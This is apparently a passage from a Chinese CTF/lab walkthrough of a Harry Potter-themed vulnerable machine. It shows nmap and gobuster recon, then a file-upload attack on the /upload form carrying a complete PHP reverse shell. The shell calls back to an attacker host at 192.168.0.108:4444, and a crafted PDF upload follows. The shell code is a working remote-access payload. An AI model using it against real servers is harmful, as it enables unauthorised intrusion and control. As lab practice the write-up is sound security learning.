| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCihzhvruzjUnXRfyh685PiUN5ItFZ/V0IHymFDih4nSIcKYrhMIw06oKdfeT3zo4tP14xB3ZrjnI3sEFh9R8LV34dTNhH4cNUtbS/f0h2inMM35dJc533bNxJtT/znohcEjYgUP3PSCK3dOuP+CcMrW8z+0QJJE9gbw9DqC5hlCzZwBHJgMvNhP74hBD/JayHiS8G+K2G4owfXRHBs3LhEXYpHEibAHS/E1G1j9R2wzTLKoN5Y0JKQ+bLxGbJekcnSl2o6hlAarOQnX1I3G+EFgWexJn/xABxqEWk9B6NLhhPozoTyi43Xc/omUF6Cw9jFl2v4z7bABMVVPjlXH748C6tFeRzx6/mqAv2Ok2+Hzf1iessMzvYs1hnZBqL51gwcmBmMoSovm68d2jEKUwVQxEIsFH5lFGQciyM0rfn6EcA0up6iomAhs2fTA8MsOG6WJWd1Sw2nCTNygrmQ8tZfVGYz8rVaH8MkUENct8IxGN1iqel+9Cmdka9DDb+BMVM=
|   256 9c:c3:1d:ea:22:04:93:b7:81:dd:f2:96:5d:f0:1f:9b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAZBwooUDLqSK+kKOx+YVnScFejnY3t0q+D4qt3jCOsjP4dJ8Wf9ORNUbHa7CtlrK3WlqluzuRQsXJ10tvyTw8=
|   256 55:41:15:90:ff:1d:53:88:e7:65:91:4f:fd:cf:49:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGM6WqG9CguoVafo9uhRSPqtZG9yR57PD70/FKDqba9e
53/tcp closed domain  reset ttl 64
80/tcp open   http    syn-ack ttl 64 Werkzeug/3.0.4 Python/3.8.10
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://hogwarts.htb
|_http-server-header: Werkzeug/3.0.4 Python/3.8.10
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.4 Python/3.8.10
|     Date: Sat, 24 Jan 2026 14:30:23 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 225
|     Location: http://hogwarts.htb
|     Connection: close
|     &amp;lt;!doctype html&amp;gt;
|     &amp;lt;html lang=en&amp;gt;
|     &amp;lt;title&amp;gt;Redirecting...&amp;lt;/title&amp;gt;
|     &amp;lt;h1&amp;gt;Redirecting...&amp;lt;/h1&amp;gt;
|     &amp;lt;p&amp;gt;You should be redirected automatically to the target URL: &amp;lt;a href=&amp;quot;http://hogwarts.htb&amp;quot;&amp;gt;http://hogwarts.htb&amp;lt;/a&amp;gt;. If not, click the link.
|   RTSPRequest: 
|     &amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01//EN&amp;quot;
|     &amp;quot;http://www.w3.org/TR/html4/strict.dtd&amp;quot;&amp;gt;
|     &amp;lt;html&amp;gt;
|     &amp;lt;head&amp;gt;
|     &amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html;charset=utf-8&amp;quot;&amp;gt;
|     &amp;lt;title&amp;gt;Error response&amp;lt;/title&amp;gt;
|     &amp;lt;/head&amp;gt;
|     &amp;lt;body&amp;gt;
|     &amp;lt;h1&amp;gt;Error response&amp;lt;/h1&amp;gt;
|     &amp;lt;p&amp;gt;Error code: 400&amp;lt;/p&amp;gt;
|     &amp;lt;p&amp;gt;Message: Bad request version (&amp;#39;RTSP/1.0&amp;#39;).&amp;lt;/p&amp;gt;
|     &amp;lt;p&amp;gt;Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.&amp;lt;/p&amp;gt;
|     &amp;lt;/body&amp;gt;
|_    &amp;lt;/html&amp;gt;
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=1/24%Time=6974D778%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,1B1,&amp;quot;HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.4
SF:\x20Python/3\.8\.10\r\nDate:\x20Sat,\x2024\x20Jan\x202026\x2014:30:23\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x20225\r\nLocation:\x20http://hogwarts\.htb\r\nConnection:\x20close\r
SF:\n\r\n&amp;lt;!doctype\x20html&amp;gt;\n&amp;lt;html\x20lang=en&amp;gt;\n&amp;lt;title&amp;gt;Redirecting\.\.\.&amp;lt;/
SF:title&amp;gt;\n&amp;lt;h1&amp;gt;Redirecting\.\.\.&amp;lt;/h1&amp;gt;\n&amp;lt;p&amp;gt;You\x20should\x20be\x20redirecte
SF:d\x20automatically\x20to\x20the\x20target\x20URL:\x20&amp;lt;a\x20href=\&amp;quot;http:
SF://hogwarts\.htb\&amp;quot;&amp;gt;http://hogwarts\.htb&amp;lt;/a&amp;gt;\.\x20If\x20not,\x20click\x20
SF:the\x20link\.\n&amp;quot;)%r(HTTPOptions,1B1,&amp;quot;HTTP/1\.1\x20302\x20FOUND\r\nServe
SF:r:\x20Werkzeug/3\.0\.4\x20Python/3\.8\.10\r\nDate:\x20Sat,\x2024\x20Jan
SF:\x202026\x2014:30:23\x20GMT\r\nContent-Type:\x20text/html;\x20charset=u
SF:tf-8\r\nContent-Length:\x20225\r\nLocation:\x20http://hogwarts\.htb\r\n
SF:Connection:\x20close\r\n\r\n&amp;lt;!doctype\x20html&amp;gt;\n&amp;lt;html\x20lang=en&amp;gt;\n&amp;lt;tit
SF:le&amp;gt;Redirecting\.\.\.&amp;lt;/title&amp;gt;\n&amp;lt;h1&amp;gt;Redirecting\.\.\.&amp;lt;/h1&amp;gt;\n&amp;lt;p&amp;gt;You\x20sho
SF:uld\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20URL:
SF:\x20&amp;lt;a\x20href=\&amp;quot;http://hogwarts\.htb\&amp;quot;&amp;gt;http://hogwarts\.htb&amp;lt;/a&amp;gt;\.\x20I
SF:f\x20not,\x20click\x20the\x20link\.\n&amp;quot;)%r(RTSPRequest,1F4,&amp;quot;&amp;lt;!DOCTYPE\x2
SF:0HTML\x20PUBLIC\x20\&amp;quot;-//W3C//DTD\x20HTML\x204\.01//EN\&amp;quot;\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\&amp;quot;http://www\.w3\.org/TR/html4/strict\.dtd\&amp;quot;&amp;gt;\n&amp;lt;html&amp;gt;
SF:\n\x20\x20\x20\x20&amp;lt;head&amp;gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;meta\x20http
SF:-equiv=\&amp;quot;Content-Type\&amp;quot;\x20content=\&amp;quot;text/html;charset=utf-8\&amp;quot;&amp;gt;\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20&amp;lt;title&amp;gt;Error\x20response&amp;lt;/title&amp;gt;\n\x20\x20\x2
SF:0\x20&amp;lt;/head&amp;gt;\n\x20\x20\x20\x20&amp;lt;body&amp;gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;
SF:h1&amp;gt;Error\x20response&amp;lt;/h1&amp;gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;p&amp;gt;Error\x20
SF:code:\x20400&amp;lt;/p&amp;gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;p&amp;gt;Message:\x20Bad\x2
SF:0request\x20version\x20\(&amp;#39;RTSP/1\.0&amp;#39;\)\.&amp;lt;/p&amp;gt;\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20&amp;lt;p&amp;gt;Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-
SF:\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.&amp;lt;/p&amp;gt;\n\x20
SF:\x20\x20\x20&amp;lt;/body&amp;gt;\n&amp;lt;/html&amp;gt;\n&amp;quot;);
MAC Address: 08:00:27:D2:BA:97 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/24%OT=22%CT=53%CU=34755%PV=Y%DS=1%DC=D%G=Y%M=0800
OS:27%TM=6974D7CA%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=107%TI=Z%CI=Z%
OS:II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11N
OS:W7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE8
OS:8%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40
OS:%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%
OS:DFI=N%T=40%CD=S)

Uptime guess: 40.160 days (since Mon Dec 15 05:40:37 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms tmpfile.dsz (192.168.0.106)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:31
Completed NSE at 09:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:31
Completed NSE at 09:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:31
Completed NSE at 09:31, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.07 seconds
           Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.406KB)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;/etc/hosts&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;quot;192.168.0.106 hogwarts.htb&amp;quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u hogwarts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.106
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,zip,db,bak,js,yaml,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================

Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.0.106/e304c45d-9ed9-4981-b561-cf8b58e733b0 =&amp;gt; 302 (Length: 225). To continue please exclude the status code or the length
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a href=&quot;http://hogwarts.htb/&quot;&gt;http://hogwarts.htb&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;欢迎来到霍格沃茨魔法学校
霍格沃茨魔法学校是世界上最负盛名的魔法学府之一，创建于一千多年前，由当时最伟大的四位巫师和女巫共同创立：戈德里克·格兰芬多、赫尔加·赫奇帕奇、罗伊娜·拉文克劳以及萨拉查·斯莱特林。学校坐落于苏格兰高地，这里不仅是一所学校，更是年轻巫师们学习、成长并掌控自身魔法能力的圣地。在强大魔法的保护下，霍格沃茨对麻瓜世界隐匿无踪，如同一座象征着魔法知识与冒险的灯塔。

在霍格沃茨，新生会被分入四大学院之一：
格兰芬多：以勇气与胆识著称
赫奇帕奇：代表忠诚与勤奋
拉文克劳：象征智慧与创造力
斯莱特林：崇尚野心与谋略

分院帽是一件被四位创始人赋予智慧的魔法物品，它会根据学生的性格与潜力决定最适合他们的学院。

认识我们的部分教授
阿不思·邓布利多教授 —— 校长
邓布利多不仅是霍格沃茨的校长，也是魔法史上最强大、最受尊敬的巫师之一。他以智慧、仁慈以及对魔法界与麻瓜世界的坚定守护而闻名。1945 年击败黑巫师格林德沃的壮举，以及对魔法研究的巨大贡献（包括发现龙血的十二种用途），使他名留青史。

米勒娃·麦格教授 —— 变形术
作为副校长兼格兰芬多学院院长，麦格教授治学严谨、公正严肃，深受学生敬重。她教授变形术——魔法中最困难的分支之一，内容包括改变物体或生物的形态。在她的指导下，学生们学会将动物变成物品，把茶杯变成老鼠，最终掌握人体变形术。

莱姆斯·卢平教授 —— 黑魔法防御术
卢平教授是霍格沃茨历史上最受欢迎的教师之一。他以富有同情心且高超的教学方式教授黑魔法防御术，学生们在课堂上学习如何对抗博格特、摄魂怪、狼人等黑暗生物，以及抵御黑魔法与诅咒。这门课程至关重要，为学生面对魔法世界中的黑暗势力做好准备。

西弗勒斯·斯内普教授 —— 魔药学
斯内普教授是斯莱特林学院院长，也是霍格沃茨最复杂、最神秘的人物之一。他在魔药学方面造诣极高，学生们在他的课堂上学习从基础解药到危险而复杂的魔药调制。

你将在霍格沃茨学到的课程
变形术：改变物体或生命形态的艺术
魔咒学：为物体或生物赋予特殊属性的咒语
魔药学：研究具有多种效果的魔法药剂
草药学：研究魔法植物与菌类
黑魔法防御术：防御黑暗生物、诅咒与黑魔法
天文学：研究星辰、行星及其魔法影响
魔法史：回顾魔法世界从远古到现代的历史
占卜学：预测未来的神秘艺术
神奇生物保护课：学习照料、驯养和喂养魔法生物

申请加入霍格沃茨
请以 PDF 格式提交你的申请材料。
👉 请使用我们提供的模板。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;form action=&amp;quot;/upload&amp;quot; method=&amp;quot;POST&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;
    &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;pdf_file&amp;quot; required&amp;gt;
    &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;POST /upload HTTP/1.1

Host: hogwarts.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------9505286192044214114097786600

Content-Length: 9517

Origin: http://hogwarts.htb

Connection: keep-alive

Referer: http://hogwarts.htb/

Upgrade-Insecure-Requests: 1

Priority: u=0, i



-----------------------------9505286192044214114097786600

Content-Disposition: form-data; name=&amp;quot;pdf_file&amp;quot;; filename=&amp;quot;shell.php&amp;quot;

Content-Type: application/x-php



&amp;lt;?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 =&amp;gt; array(&amp;#39;pipe&amp;#39;, &amp;#39;r&amp;#39;), // shell can read from STDIN
        1 =&amp;gt; array(&amp;#39;pipe&amp;#39;, &amp;#39;w&amp;#39;), // shell can write to STDOUT
        2 =&amp;gt; array(&amp;#39;pipe&amp;#39;, &amp;#39;w&amp;#39;)  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this-&amp;gt;addr = $addr;
        $this-&amp;gt;port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, &amp;#39;LINUX&amp;#39;) !== false) { // same for macOS
            $this-&amp;gt;os    = &amp;#39;LINUX&amp;#39;;
            $this-&amp;gt;shell = &amp;#39;bash&amp;#39;;
        } else if (stripos(PHP_OS, &amp;#39;WIN32&amp;#39;) !== false || stripos(PHP_OS, &amp;#39;WINNT&amp;#39;) !== false || stripos(PHP_OS, &amp;#39;WINDOWS&amp;#39;) !== false) {
            $this-&amp;gt;os    = &amp;#39;WINDOWS&amp;#39;;
            $this-&amp;gt;shell = &amp;#39;cmd.exe&amp;#39;;
        } else {
            $detected = false;
            echo &amp;quot;SYS_ERROR: Underlying operating system is not supported, script will now exit...\n&amp;quot;;
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists(&amp;#39;pcntl_fork&amp;#39;)) {
            echo &amp;quot;DAEMONIZE: pcntl_fork() does not exists, moving on...\n&amp;quot;;
        } else if (($pid = @pcntl_fork()) &amp;lt; 0) {
            echo &amp;quot;DAEMONIZE: Cannot fork off the parent process, moving on...\n&amp;quot;;
        } else if ($pid &amp;gt; 0) {
            $exit = true;
            echo &amp;quot;DAEMONIZE: Child process forked off successfully, parent process will now exit...\n&amp;quot;;
        } else if (posix_setsid() &amp;lt; 0) {
            // once daemonized you will actually no longer see the script&amp;#39;s dump
            echo &amp;quot;DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n&amp;quot;;
        } else {
            echo &amp;quot;DAEMONIZE: Completed successfully!\n&amp;quot;;
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace(&amp;#39;&amp;lt;&amp;#39;, &amp;#39;&amp;amp;lt;&amp;#39;, $data);
        $data = str_replace(&amp;#39;&amp;gt;&amp;#39;, &amp;#39;&amp;amp;gt;&amp;#39;, $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this-&amp;gt;error = true;                            // set global error flag
            echo &amp;quot;STRM_ERROR: Cannot read from ${name}, script will now exit...\n&amp;quot;;
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this-&amp;gt;error = true;                            // set global error flag
            echo &amp;quot;STRM_ERROR: Cannot write to ${name}, script will now exit...\n&amp;quot;;
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this-&amp;gt;read($input, $iname, $this-&amp;gt;buffer)) &amp;amp;&amp;amp; $this-&amp;gt;write($output, $oname, $data)) {
            if ($this-&amp;gt;os === &amp;#39;WINDOWS&amp;#39; &amp;amp;&amp;amp; $oname === &amp;#39;STDIN&amp;#39;) { $this-&amp;gt;clen += strlen($data); } // calculate the command length
            $this-&amp;gt;dump($data); // script&amp;#39;s dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat[&amp;#39;size&amp;#39;];
        if ($this-&amp;gt;os === &amp;#39;WINDOWS&amp;#39; &amp;amp;&amp;amp; $iname === &amp;#39;STDOUT&amp;#39; &amp;amp;&amp;amp; $this-&amp;gt;clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this-&amp;gt;clen &amp;gt; 0 &amp;amp;&amp;amp; ($bytes = $this-&amp;gt;clen &amp;gt;= $this-&amp;gt;buffer ? $this-&amp;gt;buffer : $this-&amp;gt;clen) &amp;amp;&amp;amp; $this-&amp;gt;read($input, $iname, $bytes)) {
                $this-&amp;gt;clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size &amp;gt; 0 &amp;amp;&amp;amp; ($bytes = $size &amp;gt;= $this-&amp;gt;buffer ? $this-&amp;gt;buffer : $size) &amp;amp;&amp;amp; ($data = $this-&amp;gt;read($input, $iname, $bytes)) &amp;amp;&amp;amp; $this-&amp;gt;write($output, $oname, $data)) {
            $size -= $bytes;
            $this-&amp;gt;dump($data); // script&amp;#39;s dump
        }
    }
    public function run() {
        if ($this-&amp;gt;detect() &amp;amp;&amp;amp; !$this-&amp;gt;daemonize()) {
            $this-&amp;gt;settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this-&amp;gt;addr, $this-&amp;gt;port, $errno, $errstr, 30);
            if (!$socket) {
                echo &amp;quot;SOC_ERROR: {$errno}: {$errstr}\n&amp;quot;;
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns &amp;#39;true&amp;#39; on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this-&amp;gt;shell, $this-&amp;gt;descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo &amp;quot;PROC_ERROR: Cannot start the shell\n&amp;quot;;
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns &amp;#39;false&amp;#39; on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, &amp;quot;SOCKET: Shell has connected! PID: &amp;quot; . $status[&amp;#39;pid&amp;#39;] . &amp;quot;\n&amp;quot;);
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo &amp;quot;SOC_ERROR: Shell connection has been terminated\n&amp;quot;; break;
                        } else if (feof($pipes[1]) || !$status[&amp;#39;running&amp;#39;]) {                 // check for end-of-file on STDOUT or if process is still running
                            echo &amp;quot;PROC_ERROR: Shell process has been terminated\n&amp;quot;;   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            &amp;#39;read&amp;#39;   =&amp;gt; array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            &amp;#39;write&amp;#39;  =&amp;gt; null,
                            &amp;#39;except&amp;#39; =&amp;gt; null
                        );
                        $num_changed_streams = @stream_select($streams[&amp;#39;read&amp;#39;], $streams[&amp;#39;write&amp;#39;], $streams[&amp;#39;except&amp;#39;], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo &amp;quot;STRM_ERROR: stream_select() failed\n&amp;quot;; break;
                        } else if ($num_changed_streams &amp;gt; 0) {
                            if ($this-&amp;gt;os === &amp;#39;LINUX&amp;#39;) {
                                if (in_array($socket  , $streams[&amp;#39;read&amp;#39;])) { $this-&amp;gt;rw($socket  , $pipes[0], &amp;#39;SOCKET&amp;#39;, &amp;#39;STDIN&amp;#39; ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams[&amp;#39;read&amp;#39;])) { $this-&amp;gt;rw($pipes[2], $socket  , &amp;#39;STDERR&amp;#39;, &amp;#39;SOCKET&amp;#39;); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams[&amp;#39;read&amp;#39;])) { $this-&amp;gt;rw($pipes[1], $socket  , &amp;#39;STDOUT&amp;#39;, &amp;#39;SOCKET&amp;#39;); } // read from STDOUT and write to SOCKET
                            } else if ($this-&amp;gt;os === &amp;#39;WINDOWS&amp;#39;) {
                                // order is important
                                if (in_array($socket, $streams[&amp;#39;read&amp;#39;])/*------*/) { $this-&amp;gt;rw ($socket  , $pipes[0], &amp;#39;SOCKET&amp;#39;, &amp;#39;STDIN&amp;#39; ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) &amp;amp;&amp;amp; $fstat[&amp;#39;size&amp;#39;]) { $this-&amp;gt;brw($pipes[2], $socket  , &amp;#39;STDERR&amp;#39;, &amp;#39;SOCKET&amp;#39;); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) &amp;amp;&amp;amp; $fstat[&amp;#39;size&amp;#39;]) { $this-&amp;gt;brw($pipes[1], $socket  , &amp;#39;STDOUT&amp;#39;, &amp;#39;SOCKET&amp;#39;); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this-&amp;gt;error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo &amp;#39;&amp;lt;pre&amp;gt;&amp;#39;;
// change the host address and/or port number as necessary
$sh = new Shell(&amp;#39;192.168.0.108&amp;#39;, 4444);
$sh-&amp;gt;run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo &amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;;
?&amp;gt;


-----------------------------9505286192044214114097786600--

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;HTTP/1.1 500 INTERNAL SERVER ERROR

Server: Werkzeug/3.0.4 Python/3.8.10

Date: Sat, 24 Jan 2026 14:50:12 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 265

Connection: close



&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang=en&amp;gt;
&amp;lt;title&amp;gt;500 Internal Server Error&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Internal Server Error&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/upload&lt;/h3&gt;
&lt;h4&gt;构造&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;POST /upload HTTP/1.1

Host: hogwarts.htb

User-Agent: Mozilla/5.0

Accept: */*

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

Content-Length: 286



------WebKitFormBoundaryABC123

Content-Disposition: form-data; name=&amp;quot;pdf_file&amp;quot;; filename=&amp;quot;test.pdf&amp;quot;

Content-Type: application/pdf



%PDF-1.4

1 0 obj

&amp;lt;&amp;lt; /Type /Catalog &amp;gt;&amp;gt;

endobj

xref

0 1

0000000000 65535 f

trailer

&amp;lt;&amp;lt; /Root 1 0 R &amp;gt;&amp;gt;

%%EOF



------WebKitFormBoundaryABC123--

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;HTTP/1.1 200 OK

Server: Werkzeug/3.0.4 Python/3.8.10

Date: Sat, 24 Jan 2026 14:52:12 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 1644

Connection: close




        &amp;lt;!DOCTYPE html&amp;gt;
        &amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
            &amp;lt;head&amp;gt;
                &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
                &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
                &amp;lt;title&amp;gt;Confirmation&amp;lt;/title&amp;gt;
                &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;/static/style.css&amp;quot;&amp;gt;

                &amp;lt;link rel=&amp;quot;apple-touch-icon&amp;quot; sizes=&amp;quot;180x180&amp;quot; href=&amp;quot;/static/favicon/apple-touch-icon.png&amp;quot;&amp;gt;
                &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; sizes=&amp;quot;32x32&amp;quot; href=&amp;quot;/static/favicon/favicon-32x32.png&amp;quot;&amp;gt;
                &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; sizes=&amp;quot;16x16&amp;quot; href=&amp;quot;/static/favicon/favicon-16x16.png&amp;quot;&amp;gt;
                &amp;lt;link rel=&amp;quot;manifest&amp;quot; href=&amp;quot;/static/favicon/site.webmanifest&amp;quot;&amp;gt;
                &amp;lt;link rel=&amp;quot;mask-icon&amp;quot; href=&amp;quot;/static/favicon/safari-pinned-tab.svg&amp;quot; color=&amp;quot;#5bbad5&amp;quot;&amp;gt;
                &amp;lt;meta name=&amp;quot;msapplication-TileColor&amp;quot; content=&amp;quot;#da532c&amp;quot;&amp;gt;
